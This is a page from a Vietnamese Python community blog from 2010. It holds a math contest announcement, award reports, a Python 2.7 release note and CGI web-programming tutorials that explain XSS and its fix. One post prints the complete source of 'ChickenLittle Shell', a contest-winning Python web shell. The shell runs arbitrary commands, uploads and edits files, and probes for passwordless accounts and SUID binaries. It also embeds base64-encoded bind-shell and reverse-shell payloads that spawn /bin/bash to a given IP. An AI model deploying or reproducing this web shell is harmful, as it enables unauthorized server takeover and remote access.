Python cho người Việt

Python cho người Việt

Phát động cuộc thi Giải Toán Bằng Python

written by Phan Đắc Anh Huy, on May 24, 2010 2:32:00 PM.

Sau thành công của 2 lần thi trước, nhóm PCNV tiếp tục phát động cuộc thi Giải Toán Bằng Python để chào mừng ngày quốc tề thiếu nhi đang đến rất gần. Đề thi rất đơn giản:

Hãy dùng ngôn ngữ lập trình Python để tính toán và xuất ra các cặp số n và k thỏa mãn:
1 + 2 + … + n = n + 1 + n + 2 + … + n + k


Input : Không có.
Output : Standard Output.
Output Format : In trên nhiều dòng, mỗi dòng là một cặp số n, k cách nhau bằng một hoặc nhiều khoảng trắng.

Yêu cầu :
- Chỉ được dùng các module built-in.
- Không được in ra các giá trị n, k đã tính toán sẵn trước khi chương trình thực thi dưới bất kỳ hình thức nào.
- Chương trình sẽ được người chấm thực thi trong vòng 30 giây. Hết thời gian này, chương trình sẽ bị ngắt.
- Chương trình nào in ra được nhiều cặp số n,k nhất sẽ chiến thắng.
- Chương trình sẽ bị loại nếu in ra bất cứ cặp số n,k nào không chính xác.
Thời hạn dự thi: Từ ngày hôm nay (24/05/2010) đến hết ngày 31/05/2010.


Bài dự thi xin gửi về địa chỉ email admin+frontpage@vithon.org (xin vui lòng bỏ +frontpage trước khi gửi), bạn có thể gửi nhiều lần trong trường hợp cải thiện được kết quả của mình. Chương trình được gửi cuối cùng sẽ được nhóm PCNV sử dụng để chấm điểm chung cuộc.

Trong quá trình làm bài, nếu có nhu cầu trao đổi, đặt câu hỏi, hay chỉ đơn giản là muốn trò chuyện với những người bạn rất dễ thương trong nhóm PCNV, các bạn có thể tham gia phòng tán gẫu #vithon ở máy chủ irc.freenode.net
Đã là cuộc thi thì không thể thiếu giải thưởng, phần thưởng cho người thắng cuộc là 100.000 VND và một buổi trò chuyện thân mật với admin nhóm PCNV.

ChickenLittle Shell

written by vithon, on May 19, 2010 1:41:00 PM.

Nhân dịp kỷ niệm 120 năm ngày sinh lãnh tụ Hồ Chí Minh, nhóm PCNV xin gửi đến bạn đọc bài dự thi đạt giải nhất cuộc thi Web Shell Programming Contest kết thúc vào ngày 15 tháng 05 vừa qua.

#!/usr/bin/python
"""
ChickenLittle Shell by Zep
"""

try:
    import cgitb; cgitb.enable()
except:
    pass
import sys, cgi, os, base64, subprocess
from time import strftime
from string import Template

bind_port = """aW1wb3J0IG9zLCBzeXMsIHNvY2tldCwgdGltZQpQT1JUID0gaW50KHN5cy5hcmd2WzFdKQpQVyA9
IHN5cy5hcmd2WzJdCnNvY2sgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5T
T0NLX1NUUkVBTSkKc29jay5iaW5kKCgiMC4wLjAuMCIsUE9SVCkpCnNvY2subGlzdGVuKDUpClNI
RUxMPSIvYmluL2Jhc2ggLWkiCndoaWxlIFRydWU6CiAgICB0cnk6CQogICAgICAgIChjb25uLGFk
ZHIpID0gc29jay5hY2NlcHQoKQogICAgICAgIG9zLmR1cDIoY29ubi5maWxlbm8oKSwwKQogICAg
ICAgIG9zLmR1cDIoY29ubi5maWxlbm8oKSwxKQogICAgICAgIG9zLmR1cDIoY29ubi5maWxlbm8o
KSwyKQogICAgICAgIHByaW50ID4+IHN5cy5zdGRlcnIsICdQYXNzd29yZDogJywKICAgICAgICBw
ID0gY29ubi5yZWN2KDEwMjQpCiAgICAgICAgcCA9IHAuc3RyaXAoKQogICAgICAgIGlmIHAgPT0g
UFc6CiAgICAgICAgICAgIG9zLnN5c3RlbSgiL2Jpbi9iYXNoIC1pIikKICAgICAgICBlbHNlOgog
ICAgICAgICAgICBwcmludCA+PiBzeXMuc3RkZXJyLCAiR28gdG8gaGVsbCIKICAgICAgICBjb25u
LmNsb3NlKCkKICAgIGV4Y2VwdCBFeGNlcHRpb24sZTogIAogICAgICAgIHByaW50IGUKICAgICAg
ICB0aW1lLnNsZWVwKDEpCg=="""

back_connect = """aW1wb3J0IHNvY2tldCwgb3MsIHN5cwpIT1NUID0gc3lzLmFyZ3ZbMV0KUE9SVCA9IGludChzeXMu
YXJndlsyXSkKU0hFTEwgPSAiL2Jpbi9iYXNoIC1pIgpzb2NrID0gc29ja2V0LnNvY2tldChzb2Nr
ZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pCnNvY2suY29ubmVjdCgoSE9TVCxQT1JUKSkK
dHJ5OgogICAgb3MuZHVwMihzb2NrLmZpbGVubygpLCAwKQogICAgb3MuZHVwMihzb2NrLmZpbGVu
bygpLCAxKQogICAgb3MuZHVwMihzb2NrLmZpbGVubygpLCAyKQogICAgb3Muc3lzdGVtKFNIRUxM
KQpleGNlcHQgRXhjZXB0aW9uLGU6CiAgICBwcmludCBlCnNvY2suY2xvc2UoKQo="""

# HTML

html = Template("""
<html>
<head>
    <title>ChickenLittle Shell</title>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> 
    <style>
        body {
            color:#fff;
            background-color:#585858;
            font-size:11px;
        }
        table {
            font-family: Verdana, Tahoma;
            font-size:11px;
        }
        tr {
            border: #D9D9D9 1px solid;
        }
        td {
            border: #D9D9D9 1px solid;
        }
        a { 
            color: #fff;
        }
        input {
            background-color:#800000;
            color:#FFFFFF;
            font-family:Tahoma;
            font-size:8pt;
        }
        select {
            background-color:#800000;
            color:#FFFFFF;
            font-family:Tahoma;
            font-size:8pt;
        }
        textarea {
            background-color:#800000;
            color:#FFFFFF;
            font-family:Tahoma;
            font-size:8pt;
        }
    </style>
</head>
<body>
    <script type="text/javascript">
        function toggleEnviron()
        {
            if (document.getElementById('environ_table').style.display=="none")
                document.getElementById('environ_table').style.display="";
            else
                document.getElementById('environ_table').style.display="none";
        }
    </script>
    <center><h2>=== ChickenLittle Shell ===</h2></center>
    <a href="javascript:void(0)" onclick="javascript:toggleEnviron()">Show/Hide Environment variables</a>
    $environ_table
    <p />
    <table width="100%">
        <tr><td>
            uname -a: $uname <br />
            $uid
        </td></tr>
    </table>
    <p />
    <div style="display:$edit_file_box_visibility">
        <b>Edit File:</b> <br />
        <form method="POST" action="?">
            <textarea name="file_content" cols="200" rows="30" >$file_content</textarea>
            <input type="hidden" value="$cur_dir" size="50" name="cur_dir" /> <br />
            <input type="hidden" value="save_file" size="50" name="command" /> <br />
            <input type="hidden" value="$file_name" size="50" name="file_name" /> <br />
            <input type="submit" value="Save">       
        </form>
        <p />
    </div>
    <table width="100%">
        <tr>    
            <td style="text-align:center">
                <b>:: Change Dir ::</b><br />
                <form action="?" method="POST">
                    <input type="text" value="$cur_dir" size="50" name="cur_dir">&nbsp;<input type="submit" value="Go">
                </form>
            </td>
            <td style="text-align:center">
                <b>:: Get File ::</b><br />
                <form action="?" method="POST">
                    <input type="text" value="$cur_dir" size="50" name="cur_dir">&nbsp;<input type="submit" value="Go">
                </form>
            </td>
        </tr>
    </table>
    <p />
    <table width="100%">
        <tr>
            <td colspan="2" style="text-align:center"><b>$cur_dir</b></td>
        </tr>
        <tr>
            <td><pre>$list_files</pre></td>
        </tr>
    </table>
    <p />
    <b>Result of command</b><br />
    <table width="100%">
        <tr>
            <td>
                <textarea cols="200" rows="10">$command_result</textarea>
            </td>
        </tr>
    </table>
    <table width="100%">
        <tr>    
            <td style="text-align:center" width="50%">
                <b>:: Execute Command ::</b><br />
                <form action="?" method="POST">
                    <input type="hidden" value="$cur_dir" size="50" name="cur_dir" />
                    <input type="text" value="" size="50" name="command">&nbsp;<input type="submit" value="Execute">
                </form>
            </td>
            <td style="text-align:center">
                <b>:: Useful Commands ::</b><br />
                <form action="?" method="POST">
                    <select name="command">
                        <option value="uname -a">Kernel version</option>
                        <option value="w">Logged in users</option>
                        <option value="lastlog">Last to connect</option>
                        <option value="find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null">Suid bins</option>
                        <option value="cut -d: -f1,2,3 /etc/passwd | grep ::">USER WITHOUT PASSWORD!</option>
                        <option value="find /etc/ -type f -perm -o+w 2> /dev/null">Write in /etc/?</option>
                        <option value="which wget curl w3m lynx">Downloaders?</option>
                        <option value="cat /proc/version /proc/cpuinfo">CPUINFO</option>
                        <option value="netstat -atup | grep IST">Open ports</option>
                        <option value="locate gcc">gcc installed?</option>
                    </select>
                    <input type="hidden" value="$cur_dir" size="50" name="cur_dir" />
                    <input type="submit" value="Go" />
                </form>
            </td>
        </tr>
    </table>    
    <p />
    <table width="100%">
        <tr>    
            <td style="text-align:center" width="50%">
                <b>:: Create Dir ::</b><br />
                <form action="?" method="POST">
                    <input type="text" value="$cur_dir" size="50" name="new_dir">&nbsp;<input type="submit" value="Create">
                    <input type="hidden" value="mkdir" size="50" name="command" />
                    <input type="hidden" value="$cur_dir" size="50" name="cur_dir">
                </form>
            </td>
            <td style="text-align:center">
                <b>:: Upload File ::</b><br />
                <form action="?" method="POST" enctype="multipart/form-data">
                    <input type="file" name="file">&nbsp;<input type="submit" value="Upload">
                    <input type="hidden" value="upload" size="50" name="command" />
                    <input type="hidden" value="$cur_dir" size="50" name="cur_dir">
                </form>
            </td>
        </tr>
    </table>
    <p />
    <table width="100%">
        <tr>    
            <td style="text-align:center" width="50%">
                <b>:: Search Text in Files ::</b><br />
                <form action="?" method="POST">
                    <table width="100%">
                        <tr>
                            <td width="50%" style="border:none;text-align:right">Text: </td>
                            <td style="border:none"><input type="text" value="" size="30" name="search_text" /></td>
                        </tr>
                        <tr>
                             <td width="50%" style="border:none;text-align:right">Directory: </td>
                            <td style="border:none"><input type="text" value="$cur_dir" size="30" name="search_dir" /></td>
                        </tr>
                        <tr>
                             <td width="50%" style="border:none;text-align:right">Include File Pattern: </td>
                            <td style="border:none"><input type="text" value="" size="30" name="include_pattern" /></td>
                        </tr>
                        <tr>
                             <td width="50%" style="border:none;text-align:right">Exclude File Pattern: </td>
                            <td style="border:none"><input type="text" value="" size="30" name="exclude_pattern" /></td>
                        </tr>
                    </table>
                    <input type="submit" value="Search">
                    <input type="hidden" value="search_text" size="50" name="command" />
                    <input type="hidden" value="$cur_dir" size="50" name="cur_dir">
                </form>
            </td>
            <td style="text-align:center;vertical-align:top">
                <b>:: Edit File ::</b><br />
                <form action="?" method="POST">
                    <input type="hidden" value="$cur_dir" size="50" name="cur_dir" />
                    <input type="hidden" value="edit_file" size="50" name="command">
                    <input type="text" value="$cur_dir" size="50" name="file_name">
                    &nbsp;<input type="submit" value="Edit">
                </form>
            </td>
        </tr>
    </table>
    <p />
    <table width="100%">
        <tr>    
            <td style="text-align:center" width="50%">
                <b>:: Bind port to /bin/bash ::</b><br />
                <form action="?" method="POST">
                    <table width="100%">
                        <tr>
                            <td width="50%" style="border:none;text-align:right">Port: </td>
                            <td style="border:none"><input type="text" value="" size="10" name="port" /></td>
                        </tr>
                        <tr>
                            <td style="border:none;text-align:right">Password: </td>
                            <td style="border:none"><input type="text" value="" size="10" name="password" /></td>
                        </tr>
                    </table>
                    <input type="submit" value="Bind">
                    <input type="hidden" value="bind_port" size="50" name="command" />
                    <input type="hidden" value="$cur_dir" size="50" name="cur_dir">
                </form>
            </td>
            <td style="text-align:center" width="50%">
                <b>:: back-connect ::</b><br />
                <form action="?" method="POST">
                    <table width="100%">
                        <tr>
                            <td width="50%" style="border:none;text-align:right">IP: </td>
                            <td style="border:none"><input type="text" value="" size="10" name="ip" /></td>
                        </tr>
                        <tr>
                            <td style="border:none;text-align:right">Port: </td>
                            <td style="border:none"><input type="text" value="" size="10" name="port" /></td>
                        </tr>
                    </table>
                    <input type="submit" value="Connect">
                    <input type="hidden" value="back_connect" size="50" name="command" />
                    <input type="hidden" value="$cur_dir" size="50" name="cur_dir">
                </form>
            </td>
        </tr>
    </table>
    <p />
    <table width="100%">
        <tr>
            <td style="text-align:center"><b>(.)(.) [ChickenLittle Shell by Zep] (.)(.)</b></td>
        </tr>
    </table>
</body>
</html>
""")

scriptname = ""

if os.environ.has_key("SCRIPT_NAME"):
    scriptname = os.environ["SCRIPT_NAME"]

def get_environ_table():
    s = "<table style=\"display:none\" id=\"environ_table\">"
    for k in os.environ:
        s+="<tr><td>%s</td><td>%s</td></tr>"%(k,os.environ[k])
    s+="</table>"
    return s

def run_command(command):
    p = subprocess.Popen(command, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, close_fds=True)
    (i,o) = p.stdin,p.stdout
    return o.read()

def get_param(form, param,default=None):
    if form.has_key(param):
        return form.getvalue(param)
    return default

def can_write(file_name):
    try:
        f = open(file_name,"w")
        f.close()
        return True
    except:
        return False

def put_script(base_name,encoded_script):
    script = base64.b64decode(encoded_script)
    i = 0
    file_name = "/tmp/"+base_name + str(i)  
    while not can_write(file_name):
        i+=1
        file_name = "/tmp/"+base_name + str(i)  
    
    f = open(file_name,"w")
    f.write(script)
    f.close()
    return file_name

def main():

    print "Content-type: text/html"         # header
    print                                   # blank line

    form = cgi.FieldStorage()
    uname = run_command("uname -a")
    uid = run_command("id")

    cur_dir = get_param(form, "cur_dir",os.getcwd())

    if not os.path.exists(cur_dir):
        cur_dir = os.getcwd()
    os.chdir(cur_dir)
    command = get_param(form,"command")
    command_result = ""

    file_content = ""
    file_name = ""
    edit_file_box_visibility = "None"

    if command == "mkdir":
        new_dir = get_param(form,"new_dir")
        command_result = run_command("mkdir " + new_dir)	
    elif command == "upload":
        upload_file = form["file"]
        try:
            f  = open(upload_file.filename,"w")
            while True:
                chunk = upload_file.file.read(1024)
                if not chunk: break
                f.write(chunk)
            f.close()
        except Exception,e:
            command_result = str(e)

    elif command == "search_text":
        search_text = get_param(form,"search_text","")
        search_dir = get_param(form,"search_dir",".")
        include_pattern = get_param(form,"include_pattern")
        exclude_pattern = get_param(form,"exclude_pattern")
        cmd = "grep -ir \"%s\" %s " % (search_text,search_dir)
        if include_pattern:
            cmd += "--include=%s " % include_pattern
        if exclude_pattern:
            cmd += "--include=%s " % exclude_pattern
        command_result = run_command(cmd)

    elif command == "edit_file":
        file_name = get_param(form,"file_name")
        try:
            f = open(file_name,"r")
            file_content = f.read()
            f.close()
            edit_file_box_visibility = ""            
        except:
            command_result = "Cannot open file"
            file_content = ""
            edit_file_box_visibility = "None"

    elif command == "save_file":
        file_name = get_param(form,"file_name")
        file_content = get_param(form,"file_content")
        try:
            f = open(file_name,"w")
            f.write(file_content)
            f.close()
            command_result = "Successful"
        except:
            command_result = "Cannot write to file"
                
    elif command == "bind_port":
        port = get_param(form,"port")
        password = get_param(form,"password")
        file_name = put_script("bp",bind_port)
        pid = subprocess.Popen(["python %s %s %s" % (file_name,port,password)],shell=True).pid
        command_result = "Process ID : %d " % pid

    elif command == "back_connect":
        port = get_param(form,"port")
        ip = get_param(form,"ip")
        file_name = put_script("bc",back_connect)
        pid = subprocess.Popen(["python %s %s %s" % (file_name,ip,port)],shell=True).pid
        command_result = "Process ID : %d " % pid

    elif command != None:
        command_result = run_command(command)

    list_files = run_command("ls -alh " + cur_dir)

    print html.substitute(environ_table=get_environ_table(),
                          uname = uname,
                          uid = uid,
                          list_files = list_files,
                          cur_dir = cur_dir,
                          command_result = command_result,
                          file_content = file_content,
                          file_name    = file_name,
                          edit_file_box_visibility = edit_file_box_visibility
                            )

if __name__ == '__main__':
    main()

Trao giải cuộc thi viết webshell bằng Python

written by Lê Ngọc Hiếu, on May 17, 2010 12:17:00 PM.

Ngày 16/05/2010 tại quán cafe K&K đã diễn ra buổi lễ trao giải cho cuộc thi viết webshell bằng python. Tại buổi lễ, anh Nguyễn Thành Nam là trưởng nhóm Python cho người Việt đã trao giải nhất của cuộc thi cho bạn Phan Đắc Anh Huy với phần thưởng là 100.000 đồng.

/static/webshell_programming_contest.jpg

Hình: anh Nguyễn Thành Nam trao giải cho bạn Phan Đắc Anh Huy

Cuộc thi lần này đã thu hút sự tham gia của nhiều bạn trẻ hơn so với cuộc thi viết game bằng Python lần trước. Theo anh Nam, chất lượng cuộc thi lần này đã khá hơn hẳn lần trước. Điều đó chứng tỏ trình độ lập trình bằng Python và cộng đồng sử dụng Python đã và đang lớn mạnh hơn. Đây cũng chính là mục đích của trang mạng Python cho người Việt được lập ra.

Sau lễ trao giải, nhóm cũng đã có buổi thảo luận sôi nổi về việc sẽ thúc đẩy sinh hoạt gặp mặt trực tiếp nhằm nâng cao hơn nữa tay nghề. Hy vọng đây sẽ là một hoạt động bổ ích và thiết thực cho các bạn trẻ ham học hỏi. Bạn Hoàng Quốc Thịnh - người đã đoạt giải nhất trong cuộc thi lần trước - chia sẻ: “Mình nghĩ không nên lạm dụng việc sinh hoạt trực tuyến nhiều quá, sinh hoạt trực tiếp gặp mặt có điểm lợi hơn đó là việc cái ‘lửa’ sẽ được tận mắt nhìn thấy và truyền cho nhau. Điều này, sinh hoạt trực tuyến không có được.”

Anh Nam cũng có cùng nhận định như trên và đang chuẩn bị cho những hoạt động đẩy mạnh trong thời gian sắp tới.

K&K, 15:03 16/05/2010

Python 2.7 beta 1 ra mắt

written by Võ Đức Phương, on Apr 18, 2010 6:00:00 PM.

Python 2.7 là phiên bản cuối cùng của Python 2 trước khi chuyển sang chế độ chỉ sửa lỗi, không thêm tính năng vào họ phiên bản này nữa. Tương tự như 2.6, phiên bản này sẽ chú trọng vào việc thêm vào những tính năng của Python 3 (chính xác là Python 3.1). Những cải tiến của phiên bản này bao gồm:

  • Thêm loại từ điển có sắp xếp
  • Thêm một số tính năng cho unittest như bỏ qua kiểm tra hay các phương pháp kiểm định mới.
  • Mô đun io mới cho tốc độ nhanh hơn
  • Tự đánh số các trường với phương pháp str.format()
  • Mô đun sysconfig mới.

…cùng nhiều thay đổi khác nữa. Thông tin chi tiết về phiên bản này có thể được xem tại:

Có những gì mới trong Python 2.7?

Danh sách các thay đổi của Python 2.7

Lập trình web với Python (4)

written by Nguyễn Thành Nam, on Mar 10, 2010 12:46:00 PM.

Trong kỳ này, chúng ta sẽ xem xét một chương trình CGI có xử lý dữ liệu nhập.

Ở kỳ trước, chúng ta đã biết cấu trúc chung của một chương trình CGI. Chương trình CGI mà chúng ta dùng làm ví dụ không thật sự hữu dụng vì chúng chỉ xuất giá trị ngẫu nhiên.

Một chương trình CGI hữu dụng thường sẽ nhận dữ liệu nhập qua các mẫu đơn (form), xử lý các dữ liệu này, và trả về kết quả.

Các dữ liệu nhập được truyền đến ứng dụng web ở dạng bộ 2 (khóa, giá trị) (key-value pair). Ví dụ nếu chúng ta điền vào một mẫu đơn có trường nhập tên là name và giá trị của nó là Nguyễn Việt Nam thì khóa sẽ là name và giá trị là Nguyễn Việt Nam. Thông thường có hai phương thức truyền dữ liệu đến ứng dụng web là GET và POST.

Trong phương thức GET, các bộ 2 (khóa, giá trị) này sẽ được truyền qua URL. Với ví dụ ở trên, URL sẽ có dạng http://host/path?name=Nguyễn+Việt+Nam. Bạn đọc sẽ chú ý các điểm quan trọng sau:

  1. Đi ngay phía sau đường dẫn đến ứng dụng CGI là một dấu chấm hỏi (?). Ký tự này dùng để thông báo phần phía sau là dữ liệu nhập.
  2. Phân cách giữa khóa và giá trị của dữ liệu nhập là dấu bằng (=).
  3. Khóa và giá trị được chuyển mã theo dạng phù hợp. Chúng ta thấy rằng ký tự khoảng trắng được chuyển thành ký tự cộng (+). Việc chuyển mã này nhằm làm cho URL không chứa các ký tự đặc biệt có thể gây nhầm lẫn.
  4. Không được nêu rõ trong ví dụ là ký tự phân cách các bộ 2 (khóa, giá trị) là ký tự và (&).

Trong phương thức POST, các bộ 2 (khóa, giá trị) được truyền trong nội dung yêu cầu HTTP, và không hiện rõ cho người dùng.

Hãy thử nghiệm với chương trình ví dụ sau (đặt tên nó là fp.py):

#!c:/python26/python

print "Content-Type: text/html"
print

print """<html>
	<head>
		<title>CGI form processing</title>
	</head>
	<body>
		<fieldset>
			<legend>Number guessing game</legend>
			<form method="POST">
				<label for="number">Enter a number</label>
				<input type="text" name="number" value="" />
				<input type="submit" />
			</form>
		</fieldset>
	</body>
</html>
"""

Kết quả mà chúng ta nhận được là một mẫu đơn như hình:

/static/web-programming/cgi/form1.png

Một số điểm quan trọng trong chương trình này là sự sử dụng các thẻ liên quan đến mẫu đơn.

  1. Trước hết là thẻ form dùng để thông báo sự bắt đầu của một mẫu đơn. Các thuộc tính (attribute) thông thường của thẻ này gồm methodaction.
  2. Thuộc tính method xác định phương thức truyền dữ liệu. Chúng ta có thể sử dụng GET hoặc POST.
  3. Thuộc tính action xác định đường dẫn đến chương trình CGI sẽ xử lý mẫu đơn này. Nếu không xác định thì chính địa chỉ hiện tại sẽ được dùng.
  4. Thẻ input xác định một trường nhập. Thẻ này có các thuộc tính chính là type, name, và value.
  5. Thuộc tính type xác định kiểu nhập là một ô nhập (text box), một nút nhấn (button), một nút chọn (radio button), hoặc một tập tin (file). Ở ví dụ này chúng ta xác định một ô nhập với kiểu text.
  6. Thuộc tính name xác định khóa của bộ 2. Trong ví dụ này khóa nhập là number.
  7. Thuộc tính value xác định giá trị khởi đầu của trường nhập này. Chúng ta để trống.
  8. Thẻ input với thuộc tính typesubmit sẽ tạo một nút nhấn. Nút nhấn này đặc biệt vì nó sẽ gửi các giá trị chúng ta nhập vào mẫu đơn đến chương trình CGI.

Thông tin chi tiết về các thẻ HTML có thể được xem thêm từ các tài liệu từ W3C.

Chương trình này cũng chỉ là in ra một mẫu đơn nhưng chúng ta đã có thể nhấn nút để gửi mẫu đơn đó đi.

Chúng ta sẽ sửa nó để in lại những gì đã nhận từ trình duyệt.

#!c:/python26/python

import cgi

print "Content-Type: text/html"
print

print """<html>
	<head>
		<title>CGI form processing</title>
	</head>
	<body>
		<fieldset>
			<legend>Number guessing game</legend>
			<form method="POST">
				<label for="number">Enter a number</label>
				<input type="text" name="number" value="" />
				<input type="submit" />
			</form>
		</fieldset>
"""

form = cgi.FieldStorage()
if form.has_key('number'):
	print """You have entered: %s""" % form.getfirst('number')

print """</body>
</html>
"""

Điều đầu tiên chúng ta nhận ra là sự sử dụng mô-đun cgi. Mô-đun này cho phép chúng ta tạo một đối tượng FieldStorage. Đối tượng FieldStorage chứa các bộ 2 (khóa, giá trị) chúng ta nhận được từ trình duyệt trong một cấu trúc như kiểu từ điển. Do đó chúng ta có thể dùng phương thức has_key để kiểm tra sự tồn tại của khóa tương ứng. Để lấy giá trị từ FieldStorage ta có thể dùng form[’number’].value hoặc gọi các hàm như getvalue, getfirst, hay getlist. Các hàm này được đề cập đến một cách chi tiết trong bộ tài liệu sử dụng Python.

Nếu tinh ý, chúng ta sẽ thấy rằng khi dữ liệu nhập chứa các thẻ HTML hợp lệ thì kết quả xuất ra sẽ hiển thị cả những thẻ HTML này. Ví dụ khi ta nhập Nguyễn <b>Việt</b> Nam.

/static/web-programming/cgi/form2.png

Điều này có thể là đúng theo ý định, hoặc cũng thể nằm ngoài mong muốn. Chúng ta gọi đây là các lỗi kịch bản chéo trang (Cross Site Scripting, XSS). Cách khắc phục là trước khi hiển thị các chuỗi không nằm trong kiểm soát của chương trình (ví dụ như dữ liệu nhập, dữ liệu xuất từ hệ thống khác, v.v…), chúng ta sẽ cần chuyển mã các ký tự đặc biệt. Mô-đun cgi cung cấp hàm escape để làm việc này. Mã nguồn mới sẽ gói getfirst trong cgi.escape như sau:

#!c:/python26/python

import cgi

print "Content-Type: text/html"
print

print """<html>
	<head>
		<title>CGI form processing</title>
	</head>
	<body>
		<fieldset>
			<legend>Number guessing game</legend>
			<form method="POST">
				<label for="number">Enter a number</label>
				<input type="text" name="number" value="" />
				<input type="submit" />
			</form>
		</fieldset>
"""

form = cgi.FieldStorage()
if form.has_key('number'):
	print """You have entered: %s""" % cgi.escape( \
			form.getfirst('number'), True)

print """</body>
</html>
"""

Giờ đây, chuỗi được xuất ra sẽ giống hệt với chuỗi nhập.

/static/web-programming/cgi/form3.png

Chúng ta cũng có thể thử với phương thức GET bằng cách nhập thẳng URL http://localhost/cgi-bin/fp.py?number=Nguyễn+<b>Việt</b>+Nam. Chúng ta cũng sẽ nhận được kết quả tương tự.

Vậy là qua hai phần chúng ta đã tìm hiểu về cách hoạt động của một chương trình CGI. Điểm mạnh của giao thức CGI là tính đơn giản và an toàn cao vì mỗi yêu cầu được một tiến trình riêng xử lý. Cũng chính vì mô hình đơn giản như vậy nên CGI gặp phải nhiều cản trở trong việc phát triển. Cản trở đầu tiên là chương trình CGI phải tự xử lý trạng thái giữa các yêu cầu kế tiếp nhau, hay còn gọi là phiên làm việc (session). Cản trở thứ hai là chương trình CGI sẽ phải được thiết kế đặc biệt nếu muốn sử dụng các biến có phạm vi toàn ứng dụng (application scope). Cuối cùng, chương trình CGI chạy chậm hơn và tốn tài nguyên hơn vì mỗi yêu cầu phải được xử lý riêng.

Trong các phần tới, chúng ta sẽ xem qua cách hoạt động của những công nghệ tiên tiến, giải quyết được các điểm yếu của giao thức CGI.

Trao giải cuộc thi lập trình game bằng Python

written by Nguyễn Thành Nam, on Feb 5, 2010 10:56:00 AM.

Ngày 04 tháng 02 năm 2009, nhóm PCNV đã trao giải cuộc thi lập trình game với ngôn ngữ Python cho bạn Hoàng Quốc Thịnh.

Cuộc thi lập trình game với ngôn ngữ Python là một trong những hoạt động của nhóm PCNV nhằm lôi cuốn sự tham gia tìm hiểu và khuyến khích sáng tạo trong việc sử dụng ngôn ngữ Python.

Ngôn ngữ Python là một ngôn ngữ mạnh, đơn giản, và tổng quát. Ngoài việc được sử dụng trong các tổ chức lớn như Google, và NASA, Python còn được dùng để viết nên những trò chơi như EVE-Online với cả triệu người chơi, hay Ruồi Yêu Cứt với giải thưởng lập trình game bằng Python đầu tiên.

Xin chúc mừng bạn Hoàng Quốc Thịnh.

Hình bên dưới là bạn Nguyễn Thành Nam đại diện nhóm PCNV đang trao giải cho bạn Hoàng Quốc Thịnh trong bữa ăn thân mật. Hình chụp bởi nhiếp ảnh gia Thành Nguyễn (Malaysia) và sửa đôi chút bởi nhiếp ảnh gia Nguyễn Duy Thọ.

/static/game_programming_contest_prize.png

Lập trình web với Python (3)

written by Nguyễn Thành Nam, on Jan 28, 2010 4:52:25 PM.

Sau khi đã cài đặt máy chủ web, và Python ở hai bài trước, trong bài này chúng ta sẽ bước vào thế giới lập trình web với mô hình đơn giản nhất, mô hình CGI.

CGI là viết tắt của Common Gateway Interface, dịch chính xác là giao tiếp cổng chung. Giao thức này được sinh ra để chuẩn hóa (hay xác định rõ) cách thức một máy chủ web giao phó việc tạo trang web cho các ứng dụng console (các ứng dụng nhận dữ liệu từ bộ nhập chuẩn và xuất ra bộ xuất chuẩn). Các ứng dụng này được gọi là các ứng dụng CGI, hay kịch bản CGI vì chúng thường được viết bằng ngôn ngữ kịch bản, mặc dù chúng cũng có thể được viết bằng các ngôn ngữ khác như C, Java.

Mô hình hoạt động

Thông thường, một máy chủ web nhận yêu cầu từ máy khách và tìm kiếm trên hệ thống xem có tập tin mà máy khách cần truy xuất hay không. Nếu có thì máy chủ web sẽ xuất nội dung của tập tin này cho máy khách.

Trong giao thức CGI, máy chủ web nhận yêu cầu từ máy khách, tìm kiếm trên hệ thống xem có ứng dụng CGI đó không. Nếu có thì máy chủ web sẽ thực thi ứng dụng CGI, chuyển toàn bộ yêu cầu đến ứng dụng thông qua các biến môi trường và bộ nhập chuẩn. Ứng dụng CGI sẽ xử lý yêu cầu rồi gửi trả thông tin cho máy chủ web qua bộ xuất chuẩn. Máy chủ web sẽ nhận thông tin từ bộ xuất chuẩn của ứng dụng CGI để xuất trả lại cho máy khách. Mô hình hoạt động của giao thức CGI được miêu tả trong hình sau.

/static/web-programming/cgi/cgi-model.png

Hello World

Để hiểu rõ hơn cách hoạt động, chúng ta sẽ tạo một tập tin helloworld.py trong thư mục C:\Program Files\Apache Software Foundation\Apache2.2\cgi-bin với nội dung như sau:

#!c:/python26/python

print "Content-Type: text/html"
print ""
print "Hello world."

Trước khi giải thích từng dòng lệnh, chúng ta sẽ xem xem kết quả đạt được là gì. Chúng ta sẽ dùng trình duyệt để vào trang http://localhost/cgi-bin/helloworld.py. Dĩ nhiên chúng ta cũng phải đảm bảo rằng máy chủ Apache đang chạy. Và đây là hình mà chúng ta nhận được.

/static/web-programming/cgi/helloworld.png

Các yếu tố chính của chương trình CGI

Như thế, chương trình CGI đầu tiên đã thực thi hoàn chỉnh. Hãy quay lại xem các yếu tố căn bản của một chương trình CGI viết bằng ngôn ngữ Python.

Dòng đầu tiên được gọi là dòng shebang với hai ký tự đặc biệt #!. Phần đi ngay sau hai ký tự này là đường dẫn tuyệt đối đến trình thông dịch Python trên hệ thống. Dòng này nói cho máy chủ web biết rằng tập tin này cần được đọc bởi trình thông dịch Python.

Dòng lệnh print thứ nhất cung cấp một đầu mục (header) cho máy chủ web. Đầu mục này là Content-Type với nội dung là text/html. Đây là đầu mục bắt buộc trong giao thức HTTP, do đó các ứng dụng CGI thông thường phải cung cấp đầu mục này.

Dòng lệnh in thứ hai (in ra một dòng trống) báo hiệu sự kết thúc của các đầu mục, và những gì theo sau sẽ là dữ liệu nội dung. Dòng lệnh này là bắt buộc.

Dòng lệnh in thứ ba xuất nội dung chính, là chuỗi Hello world..

Các dòng lệnh này là những yếu tố chính cấu tạo nên một chương trình CGI viết bằng ngôn ngữ Python. Điểm quan trọng nhất mà chúng ta cần lưu ý là việc xuất dữ liệu thông qua bộ xuất chuẩn (stdout), và định dạng của dữ liệu cần xuất (đầu mục, dòng trống, nội dung).

Thêm vào các thẻ HTML

Chương trình của chúng ta khá buồn tẻ vì chúng ta khai báo Content-Typetext/html nhưng chúng ta không dùng thẻ HTML. Chúng ta hãy sửa lại chương trình như sau:

#!c:/python26/python

print "Content-Type: text/html"
print ""
print """<html>
	<head>
		<title>Python!</title>
	</head>
	<body>
		<font size="+3">H</font>ello <font color="red">HTML</font>.
	</body>
</html>"""

